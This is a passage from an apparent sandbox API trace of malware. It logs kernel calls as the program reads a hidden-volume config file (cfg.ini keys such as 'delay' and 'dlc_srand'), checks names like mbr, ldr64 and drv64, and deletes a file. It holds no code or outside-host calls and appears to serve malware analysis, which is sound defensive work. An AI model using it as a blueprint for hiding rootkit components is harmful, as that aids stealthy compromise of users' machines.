MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.492] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.492] IdePortDispatch () returned 0x103 [0120.492] KeWaitForMutexObject () returned 0x0 [0120.492] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.492] KeLeaveCriticalRegion () [0120.492] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.493] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.493] KeEnterCriticalRegion () [0120.493] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.493] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.493] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.493] KeLeaveCriticalRegion () [0120.493] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.493] KeEnterCriticalRegion () [0120.493] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.493] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0120.493] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bbc140, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.493] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.493] KeLeaveCriticalRegion () [0120.493] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.493] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.493] KeEnterCriticalRegion () [0120.493] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.493] ExFreePoolWithTag (P=0xfffffa8003bbc440, Tag=0x0) [0120.493] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.493] KeLeaveCriticalRegion () [0120.493] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.493] ReleaseMutex (hMutex=0xf0) returned 1 [0120.493] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0120.493] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0120.493] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0120.493] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0120.493] KeEnterCriticalRegion () [0120.493] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.493] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.493] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.493] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.493] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.493] IdePortDispatch () returned 0x103 [0120.493] KeWaitForMutexObject () returned 0x0 [0120.494] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.494] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0120.494] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.494] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.494] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.494] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0120.494] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0120.494] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.494] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.494] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0120.494] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.494] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.494] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.494] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.494] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.494] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.494] KeLeaveCriticalRegion () [0120.494] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.494] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0120.494] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0120.494] KeEnterCriticalRegion () [0120.494] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.494] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.494] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.494] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.494] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.494] IdePortDispatch () returned 0x103 [0120.494] KeWaitForMutexObject () returned 0x0 [0120.494] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.494] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0120.494] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.494] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.494] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.494] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0120.494] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0120.494] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.494] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.494] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0120.494] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.494] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.494] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.494] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.494] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.495] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.495] KeLeaveCriticalRegion () [0120.495] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.495] ReleaseMutex (hMutex=0x100) returned 1 [0120.495] Sleep (dwMilliseconds=0x2bf20) [0120.501] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6b041450, dwHighDateTime=0x1d24fa4)) [0120.501] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0120.501] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.501] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0120.501] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.501] KeEnterCriticalRegion () [0120.501] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.501] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.501] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.501] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.501] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.501] IdePortDispatch () returned 0x103 [0120.501] KeWaitForMutexObject () returned 0x0 [0120.501] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.501] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.502] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.502] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.502] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.502] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bbad60 [0120.502] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.502] KeLeaveCriticalRegion () [0120.502] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.502] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.502] KeEnterCriticalRegion () [0120.502] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.502] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.502] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.502] KeLeaveCriticalRegion () [0120.502] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.502] KeEnterCriticalRegion () [0120.502] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.502] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.502] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.502] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.502] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0120.502] IdePortDispatch () returned 0x103 [0120.502] KeWaitForMutexObject () returned 0x0 [0120.502] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.502] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.502] KeLeaveCriticalRegion () [0120.502] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.502] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.502] KeEnterCriticalRegion () [0120.502] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.502] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff8800347b000 [0120.502] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.502] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.503] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.503] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.503] IdePortDispatch () returned 0x103 [0120.503] KeWaitForMutexObject () returned 0x0 [0120.503] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.503] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.503] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.503] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.503] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.503] IdePortDispatch () returned 0x103 [0120.503] KeWaitForMutexObject () returned 0x0 [0120.503] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.503] KeLeaveCriticalRegion () [0120.503] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.503] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.504] KeEnterCriticalRegion () [0120.504] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.504] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.504] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.504] KeLeaveCriticalRegion () [0120.504] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.504] KeEnterCriticalRegion () [0120.504] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.504] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0120.504] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bba070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.504] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.504] KeLeaveCriticalRegion () [0120.504] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.504] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.504] KeEnterCriticalRegion () [0120.504] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.504] ExFreePoolWithTag (P=0xfffffa8003bbad60, Tag=0x0) [0120.504] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.504] KeLeaveCriticalRegion () [0120.504] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.504] ReleaseMutex (hMutex=0xf0) returned 1 [0120.504] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.504] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0120.504] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.504] KeEnterCriticalRegion () [0120.504] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.504] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.504] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.504] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.504] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.504] IdePortDispatch () returned 0x103 [0120.504] KeWaitForMutexObject () returned 0x0 [0120.504] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.504] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.504] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.504] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.504] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.504] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bba360 [0120.505] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.505] KeLeaveCriticalRegion () [0120.505] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.505] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.505] KeEnterCriticalRegion () [0120.505] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.505] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.505] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.505] KeLeaveCriticalRegion () [0120.505] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.505] KeEnterCriticalRegion () [0120.505] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.505] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.505] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.505] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.505] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0120.505] IdePortDispatch () returned 0x103 [0120.505] KeWaitForMutexObject () returned 0x0 [0120.505] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.505] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.505] KeLeaveCriticalRegion () [0120.505] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.505] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.505] KeEnterCriticalRegion () [0120.505] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.505] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff8800347c000 [0120.505] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.505] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.505] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.505] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.505] IdePortDispatch () returned 0x103 [0120.505] KeWaitForMutexObject () returned 0x0 [0120.506] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.506] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.506] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.506] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.506] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.506] IdePortDispatch () returned 0x103 [0120.506] KeWaitForMutexObject () returned 0x0 [0120.506] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.506] KeLeaveCriticalRegion () [0120.506] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.506] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.506] KeEnterCriticalRegion () [0120.506] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.506] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.506] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.506] KeLeaveCriticalRegion () [0120.506] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.506] KeEnterCriticalRegion () [0120.507] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.507] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0120.507] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bba420, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.507] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.507] KeLeaveCriticalRegion () [0120.507] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.507] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.507] KeEnterCriticalRegion () [0120.507] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.507] ExFreePoolWithTag (P=0xfffffa8003bba360, Tag=0x0) [0120.507] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.507] KeLeaveCriticalRegion () [0120.507] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.507] ReleaseMutex (hMutex=0xf0) returned 1 [0120.507] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.507] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0120.507] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.507] KeEnterCriticalRegion () [0120.507] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.507] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.507] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.507] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.507] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.507] IdePortDispatch () returned 0x103 [0120.507] KeWaitForMutexObject () returned 0x0 [0120.507] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.507] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.507] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.507] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.507] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.507] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bba910 [0120.507] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.507] KeLeaveCriticalRegion () [0120.507] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.507] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.507] KeEnterCriticalRegion () [0120.507] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 